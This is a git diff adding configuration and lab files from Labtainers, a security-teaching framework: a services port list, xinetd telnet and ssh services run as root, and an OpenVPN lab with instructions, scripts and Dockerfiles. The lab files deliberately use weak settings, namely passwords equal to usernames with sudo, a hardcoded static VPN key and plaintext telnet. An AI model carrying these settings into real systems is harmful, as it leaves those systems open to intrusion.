+groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/sbin/faux_init new file mode 100755 index 000000000..f341a0149 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/filetoview.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/filetoview.txt new file mode 100644 index 000000000..048efbb29 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/filetoview.txt @@ -0,0 +1,7 @@ +# Filename: filetoview.txt +# +# Description: This is a pre-created file for each student (telnet-server) container + +# This file is modified when container is created +# The string below will be replaced with a keyed hash +My string is: TELNET_STRING diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_bin/treataslocal new file mode 100644 index 000000000..5d5b6bacc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_bin/treataslocal @@ -0,0 +1,2 @@ +wget +openvpn diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_system/etc/rc.local new file mode 100755 index 000000000..c4f46441f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_system/etc/rc.local @@ -0,0 +1,17 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route add -net 172.20.0.0/24 gw 172.25.0.1 + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/client.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/client.conf new file mode 100644 index 000000000..395532b0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/client.conf @@ -0,0 +1,4 @@ +remote 172.20.0.3 +dev tun +ifconfig 10.8.0.2 10.8.0.1 +secret static.key diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/instructions.txt new file mode 100644 index 000000000..f7064280d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/instructions.txt @@ -0,0 +1,76 @@ +Title: VPN Lab Exercise (host-to-host VPN) + +1. Background + +This Labtainer exercise illustrates a simple +host-to-host vpn implemented with openvpn, and +a static shared key. + +The example network includes a client and a +server with a router between them. The server +offers a simple HTTP service, and the student +will use wget on the client to retrieve html +files from the server. + +The openvpn application is pre-installed +on the client and the server, and the +corresponding openvpn configurtion files +already exist. To create an encrypted tunnel, +the student only has to execute openvpn on +the client and the server. + +The student will observe both unencrypted +and encrypted network traffic using +tcpdump on the router. + +2. Performing the lab +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: + + labtainer vpnlab + +The resulting virtual terminals include a display of +these instructions, a terminal connected to a client, +and a terminal connected to a server. + +To navigate this instruction, the arrow keys along with +with the Space/Home/End/Page-Up/Page-Down keys are usable. +To exit navigation of this instruction, type 'q'. + +3. Tasks +3.1 Use tcpdump on the router to display network traffic: + sudo tcpdump -n -XX -i eth0 + +3.2 Use wget on the client to fetch the index.html file + wget http:///index.html +Where is the server network address, which you +can learn by running "ifconfig" on the server. + +Observe the network traffic from tcpdump. Note plain-text +html in the data stream. + +3.3 Start the openvpn program on the server: +sudo openvpn --config server.conf --daemon + +3.4 Start the openvpn program on the client: +sudo openvpn --config client.conf --daemon + +3.5 Use wget again, but this time using the server's +tunnel address, (which appears in interface "tun0" +of output from ifconfig). + +Observe the network traffic in tcpdump. + + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stoplab vpnlab + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/static.key b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/static.key new file mode 100644 index 000000000..da931ca6e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/client/static.key @@ -0,0 +1,21 @@ +# +# 2048 bit OpenVPN static key +# +-----BEGIN OpenVPN Static key V1----- +2495bedda703d287a99f49c36e52f2c1 +0cce2474231d0970b14314ce3a10236f +c8972c4264e0fbaf912b1652f2798530 +564ee938d8ba8d3de11b26338d37dad7 +5b89ff63cc6b91d4e6e396e6094f8e2b +9570f44e31bf1827397214d8d7355a9c +279e53e74cf8cd2d73e7c0c081afa4b1 +37c5599da696c3007acd8b6dfaf9a1a1 +a3e4f0d2ac10a05f49a6b722835d3966 +1d7e5950cbba4c68a7bb1256982226c8 +78f903bade7f5eaac81599b78d84635b +d6271aa07e12c0ddeb131ba3bde8727c +0eb553d3de81312efd3a413516004fa8 +4d481065cc78962bd17e3384851a1307 +08849193fe7fab7fc01ae750c5af6bc7 +789fbe3dc2ca0336fa1fb5d189bd1455 +-----END OpenVPN Static key V1----- diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/about.txt new file mode 100644 index 000000000..823530aea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/about.txt @@ -0,0 +1 @@ +Example use of OpenVPN to protect network traffic. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/parameter.config new file mode 100644 index 000000000..cb1f7464b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for vpn lab +HTTPSERVERLINK1 : HASH_REPLACE : server:/home/ubuntu/link1.html : HTTP_SECRET : myhttpsecretubuntufile +HTTPSERVERLINK2 : HASH_REPLACE : server:/home/ubuntu/link2.html : HTTP_SECRET : myhttpsecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/start.config new file mode 100644 index 000000000..ba255536a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/config/start.config @@ -0,0 +1,39 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED vpnlabseedisnotveryhardtoguess + +# SUBNETS +NETWORK SERVER_LAN + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +NETWORK CLIENT_LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 + +# Container name and settings +CONTAINER server + USER ubuntu + SERVER_LAN 172.20.0.3 + +CONTAINER client + USER ubuntu + XTERM INSTRUCTIONS + CLIENT_LAN 172.25.0.2 + +CONTAINER router + USER ubuntu + TERMINALS 1 + SERVER_LAN 172.20.0.1 + CLIENT_LAN 172.25.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.client.student new file mode 100644 index 000000000..8edb8de50 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.client.student @@ -0,0 +1,17 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.router.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.router.student new file mode 100644 index 000000000..8edb8de50 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.router.student @@ -0,0 +1,17 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.server.student new file mode 100644 index 000000000..8edb8de50 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/dockerfiles/Dockerfile.vpnlab.server.student @@ -0,0 +1,17 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/instr_config/goals.config new file mode 100644 index 000000000..910a04549 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/instr_config/goals.config @@ -0,0 +1,15 @@ +# BROKEN +#GROUP: was able to access http over the vpn +#get_index_ok = matchany : string_equal : getindexhtml : answer=True +#get_link1_ok = matchany : string_equal : getlink1html : answer=True +#get_link2_ok = matchany : string_equal : getlink2html : answer=True + +#_routertcpdumpon = matchany : string_end : routertcpdump : answer=eth0 + +#_wgetlink1openok = matchany : string_equal : wgetlink1 : answer=172.20.0.3 +#DOC: had tcpdump running while running wget over an unencrypted link +#tcpdump_open_link1 = time_during : _wgetlink1openok : _routertcpdumpon + +#DOC: had tcpdump running while running wget over an encrypted link +#_wgetlink1encryptedok = matchany : string_equal : wgetlink1 : answer=10.8.0.1 +#tcpdump_encr_link1 = time_during : _wgetlink1encryptedok : _routertcpdumpon diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/instr_config/results.config new file mode 100644 index 000000000..d33e5c4e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/instr_config/results.config @@ -0,0 +1,14 @@ +# BROKEN +# The following are meant for vpn lab + +#getindexhtml = server:/var/log/myhttplogfile.txt : CONTAINS : GET /index.html +#getlink1html = server:/var/log/myhttplogfile.txt : CONTAINS : GET /link1.html +#getlink2html = server:/var/log/myhttplogfile.txt : CONTAINS : GET /link2.html +# +#serveropenvpn = server:openvpn.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS is +#clientopenvpn = client:openvpn.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS is +# +#routertcpdump = router:tcpdump.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS is +# +#wgetlink1 = client:wget.stdin : SLASH : 3 : HAVESTRING : link1.html + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/router/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/router/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/router/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/router/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/router/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/router/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/MyHTTPServer.py new file mode 100755 index 000000000..055ff4100 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() +os.chdir('/home/ubuntu') +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_bin/treataslocal new file mode 100644 index 000000000..12427b578 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_bin/treataslocal @@ -0,0 +1 @@ +openvpn diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/etc/init.d/httpserver.sh new file mode 100755 index 